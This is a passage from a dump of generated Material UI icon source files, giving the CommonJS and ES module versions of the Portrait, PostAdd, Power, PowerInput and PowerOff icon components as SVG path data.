    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.58c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V18h12zM8.48 16c.74-.51 2.23-1 3.52-1s2.78.49 3.52 1zM19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'PortraitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PortraitOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.58c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V18h12zM8.48 16c.74-.51 2.23-1 3.52-1s2.78.49 3.52 1zM19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'PortraitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PortraitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12.25c1.24 0 2.25-1.01 2.25-2.25S13.24 7.75 12 7.75 9.75 8.76 9.75 10s1.01 2.25 2.25 2.25m4.5 4c0-1.5-3-2.25-4.5-2.25s-4.5.75-4.5 2.25V17h9zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'PortraitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PortraitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12.25c1.24 0 2.25-1.01 2.25-2.25S13.24 7.75 12 7.75 9.75 8.76 9.75 10s1.01 2.25 2.25 2.25m4.5 4c0-1.5-3-2.25-4.5-2.25s-4.5.75-4.5 2.25V17h9zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'PortraitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PortraitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12.25c1.24 0 2.25-1.01 2.25-2.25S13.24 7.75 12 7.75 9.75 8.76 9.75 10s1.01 2.25 2.25 2.25m4.5 4c0-1.5-3-2.25-4.5-2.25s-4.5.75-4.5 2.25V17h9zM21 3H3v18h18zm-2 16H5V5h14z\"\n}), 'PortraitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PortraitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12.25c1.24 0 2.25-1.01 2.25-2.25S13.24 7.75 12 7.75 9.75 8.76 9.75 10s1.01 2.25 2.25 2.25m4.5 4c0-1.5-3-2.25-4.5-2.25s-4.5.75-4.5 2.25V17h9zM21 3H3v18h18zm-2 16H5V5h14z\"\n}), 'PortraitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PortraitTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm7-13c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M6 16.58C6 14.08 9.97 13 12 13s6 1.08 6 3.58V18H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.58c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V18h12zM8.48 16c.74-.51 2.23-1 3.52-1s2.78.49 3.52 1zM19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\")], 'PortraitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PortraitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm7-13c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M6 16.58C6 14.08 9.97 13 12 13s6 1.08 6 3.58V18H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.58c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V18h12zM8.48 16c.74-.51 2.23-1 3.52-1s2.78.49 3.52 1zM19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\")], 'PortraitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PostAdd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 19.22H5V7h7V5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-7h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2h-2v3h-3c.01.01 0 2 0 2h3v2.99c.01.01 2 0 2 0V7h3V5h-3zM7 9h8v2H7zm0 3v2h8v-2h-3zm0 3h8v2H7z\"\n}, \"1\")], 'PostAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/PostAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 19.22H5V7h7V5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-7h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2h-2v3h-3c.01.01 0 2 0 2h3v2.99c.01.01 2 0 2 0V7h3V5h-3zM7 9h8v2H7zm0 3v2h8v-2h-3zm0 3h8v2H7z\"\n}, \"1\")], 'PostAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/PostAddOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 19.22H5V7h7V5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-7h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2h-2v3h-3c.01.01 0 2 0 2h3v2.99c.01.01 2 0 2 0V7h3V5h-3zM7 9h8v2H7zm0 3v2h8v-2h-3zm0 3h8v2H7z\"\n}, \"1\")], 'PostAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PostAddOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 19.22H5V7h7V5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-7h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2h-2v3h-3c.01.01 0 2 0 2h3v2.99c.01.01 2 0 2 0V7h3V5h-3zM7 9h8v2H7zm0 3v2h8v-2h-3zm0 3h8v2H7z\"\n}, \"1\")], 'PostAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PostAddRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 12c-.55 0-1 .45-1 1v5.22c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1h5c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-6c0-.55-.45-1-1-1m3.02-7H19V2.98c0-.54-.44-.98-.98-.98h-.03c-.55 0-.99.44-.99.98V5h-2.01c-.54 0-.98.44-.99.98v.03c0 .55.44.99.99.99H17v2.01c0 .54.44.99.99.98h.03c.54 0 .98-.44.98-.98V7h2.02c.54 0 .98-.44.98-.98v-.04c0-.54-.44-.98-.98-.98\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9H8c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1m0 3H8c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1m0 3H8c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"1\")], 'PostAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PostAddRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 12c-.55 0-1 .45-1 1v5.22c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1h5c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-6c0-.55-.45-1-1-1m3.02-7H19V2.98c0-.54-.44-.98-.98-.98h-.03c-.55 0-.99.44-.99.98V5h-2.01c-.54 0-.98.44-.99.98v.03c0 .55.44.99.99.99H17v2.01c0 .54.44.99.99.98h.03c.54 0 .98-.44.98-.98V7h2.02c.54 0 .98-.44.98-.98v-.04c0-.54-.44-.98-.98-.98\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9H8c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1m0 3H8c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1m0 3H8c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"1\")], 'PostAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PostAddSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 19.22H5V7h7V5H3v16h16v-9h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2h-2v3h-3c.01.01 0 2 0 2h3v2.99c.01.01 2 0 2 0V7h3V5h-3zM7 9h8v2H7zm0 3v2h8v-2h-3zm0 3h8v2H7z\"\n}, \"1\")], 'PostAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PostAddSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 19.22H5V7h7V5H3v16h16v-9h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2h-2v3h-3c.01.01 0 2 0 2h3v2.99c.01.01 2 0 2 0V7h3V5h-3zM7 9h8v2H7zm0 3v2h8v-2h-3zm0 3h8v2H7z\"\n}, \"1\")], 'PostAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PostAddTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 19.22H5V7h7V5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-7h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2h-2v3h-3c.01.01 0 2 0 2h3v2.99c.01.01 2 0 2 0V7h3V5h-3zM7 9h8v2H7zm0 3v2h8v-2h-3zm0 3h8v2H7z\"\n}, \"1\")], 'PostAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PostAddTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 19.22H5V7h7V5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-7h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2h-2v3h-3c.01.01 0 2 0 2h3v2.99c.01.01 2 0 2 0V7h3V5h-3zM7 9h8v2H7zm0 3v2h8v-2h-3zm0 3h8v2H7z\"\n}, \"1\")], 'PostAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Power.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.01 7 16 3h-2v4h-4V3H8v4h-.01C7 6.99 6 7.99 6 8.99v5.49L9.5 18v3h5v-3l3.5-3.51v-5.5c0-1-1-2-1.99-1.99\"\n}), 'Power');"
  },
  {
    "path": "packages/mui-icons-material/lib/Power.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.01 7 16 3h-2v4h-4V3H8v4h-.01C7 6.99 6 7.99 6 8.99v5.49L9.5 18v3h5v-3l3.5-3.51v-5.5c0-1-1-2-1.99-1.99\"\n}), 'Power');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerInput.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 9v2h19V9zm0 6h5v-2H2zm7 0h5v-2H9zm7 0h5v-2h-5z\"\n}), 'PowerInput');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerInput.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 9v2h19V9zm0 6h5v-2H2zm7 0h5v-2H9zm7 0h5v-2h-5z\"\n}), 'PowerInput');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerInputOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 9v2h19V9zm0 6h5v-2H2zm7 0h5v-2H9zm7 0h5v-2h-5z\"\n}), 'PowerInputOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerInputOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 9v2h19V9zm0 6h5v-2H2zm7 0h5v-2H9zm7 0h5v-2h-5z\"\n}), 'PowerInputOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerInputRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 10c0 .55.45 1 1 1h17c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1m1 5h3c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1s.45 1 1 1m7 0h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1m7 0h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'PowerInputRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerInputRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 10c0 .55.45 1 1 1h17c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1m1 5h3c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1s.45 1 1 1m7 0h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1m7 0h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'PowerInputRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerInputSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 9v2h19V9zm0 6h5v-2H2zm7 0h5v-2H9zm7 0h5v-2h-5z\"\n}), 'PowerInputSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerInputSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 9v2h19V9zm0 6h5v-2H2zm7 0h5v-2H9zm7 0h5v-2h-5z\"\n}), 'PowerInputSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerInputTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 9v2h19V9zm0 6h5v-2H2zm7 0h5v-2H9zm7 0h5v-2h-5z\"\n}), 'PowerInputTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerInputTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 9v2h19V9zm0 6h5v-2H2zm7 0h5v-2H9zm7 0h5v-2h-5z\"\n}), 'PowerInputTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 14.49V9c0-1-1.01-2.01-2-2V3h-2v4h-4V3H8v2.48l9.51 9.5zm-1.76 1.77L7.2 7.2l-.01.01L3.98 4 2.71 5.25l3.36 3.36C6.04 8.74 6 8.87 6 9v5.48L9.5 18v3h5v-3l.48-.48L19.45 22l1.26-1.28z\"\n}), 'PowerOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 14.49V9c0-1-1.01-2.01-2-2V3h-2v4h-4V3H8v2.48l9.51 9.5zm-1.76 1.77L7.2 7.2l-.01.01L3.98 4 2.71 5.25l3.36 3.36C6.04 8.74 6 8.87 6 9v5.48L9.5 18v3h5v-3l.48-.48L19.45 22l1.26-1.28z\"\n}), 'PowerOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3H8v1.88l2 2zm6 6v3.88l1.8 1.8.2-.2V9c0-1.1-.9-2-2-2V3h-2v4h-3.88l2 2zM4.12 3.84 2.71 5.25 6 8.54v5.96L9.5 18v3h5v-3l.48-.48 4.47 4.47 1.41-1.41zm8.38 13.33V19h-1v-1.83L8 13.65v-3.11l5.57 5.57z\"\n}), 'PowerOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3H8v1.88l2 2zm6 6v3.88l1.8 1.8.2-.2V9c0-1.1-.9-2-2-2V3h-2v4h-3.88l2 2zM4.12 3.84 2.71 5.25 6 8.54v5.96L9.5 18v3h5v-3l.48-.48 4.47 4.47 1.41-1.41zm8.38 13.33V19h-1v-1.83L8 13.65v-3.11l5.57 5.57z\"\n}), 'PowerOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PowerOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13.66V8.99c0-1-1.01-2-2-1.99V4c0-.55-.45-1-1-1s-1 .45-1 1v3h-3.88l7.63 7.63c.15-.3.25-.63.25-.97M10 4c0-.55-.45-1-1-1s-1 .45-1 1v.88l2 2zm10.15 15.86-7.66-7.66-5.1-5.1-2.56-2.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.63 2.63c-.03.13-.05.27-.05.41v4.66c0 .53.21 1.04.58 1.41L9.5 